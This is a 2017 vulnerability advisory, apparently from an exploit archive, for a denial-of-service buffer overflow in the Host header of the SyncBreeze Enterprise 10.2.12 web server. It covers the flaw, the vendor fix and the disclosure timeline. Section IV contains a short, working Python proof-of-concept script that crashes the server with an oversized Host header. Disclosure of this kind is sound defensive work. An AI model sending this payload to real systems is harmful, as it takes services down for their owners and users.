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Sync Breeze 10.2.12 Denial Of Service

Sync Breeze 10.2.12 Denial Of Service
Posted Dec 15, 2017
Authored by Manuel Garcia Cardenas

Sync Breeze version 10.2.12 suffers from a denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2017-17088
MD5 | eb3064d1984efdf9b9610176e6d7191e

Sync Breeze 10.2.12 Denial Of Service

Change Mirror Download
=============================================
MGC ALERT 2017-007
- Original release date: November 30, 2017
- Last revised: December 14, 2017
- Discovered by: Manuel GarcAa CA!rdenas
- Severity: 7,5/10 (CVSS Base Score)
- CVE-ID: CVE-2017-17088
=============================================

I. VULNERABILITY
-------------------------
SyncBreeze <= 10.2.12 - Denial of Service

II. BACKGROUND
-------------------------
SyncBreeze is a fast, powerful and reliable file synchronization solution
for local disks, network shares, NAS storage devices and enterprise storage
systems.

III. DESCRIPTION
-------------------------
The Enterprise version of SyncBreeze is affected by a Remote Denial of
Service vulnerability.

The web server does not check bounds when reading server request in the
Host header on making a connection, resulting in a classic Buffer Overflow
that causes a Denial of Service.

To exploit the vulnerability only is needed use the version 1.1 of the HTTP
protocol to interact with the application.

IV. PROOF OF CONCEPT
-------------------------
#!/usr/bin/python
import sys, socket

host = sys.argv[1]
buffer="GET / HTTP/1.1\r\n"
buffer+="Host: "+"A"*2000+"\r\n\r\n"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 80))
s.send(buffer)
s.close()

V. BUSINESS IMPACT
-------------------------
Availability compromise can result from these attacks.

VI. SYSTEMS AFFECTED
-------------------------
SyncBreeze <= 10.2.12

VII. SOLUTION
-------------------------
Vendor release 10.3 version
http://www.syncbreeze.com/setups/syncbreezeent_setup_v10.3.14.exe

VIII. REFERENCES
-------------------------
http://www.syncbreeze.com/

IX. CREDITS
-------------------------
This vulnerability has been discovered and reported
by Manuel GarcAa CA!rdenas (advidsec (at) gmail (dot) com).

X. REVISION HISTORY
-------------------------
November 30, 2017 1: Initial release
December 14, 2017 2: Revision to send to lists

XI. DISCLOSURE TIMELINE
-------------------------
November 30, 2017 1: Vulnerability acquired by Manuel Garcia Cardenas
November 30, 2017 2: Send to vendor
December 6, 2017 3: Vendor fix the vulnerability and release a new version
December 14, 2017 4: Send to the Full-Disclosure lists

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.

XIII. ABOUT
-------------------------
Manuel Garcia Cardenas
Pentester

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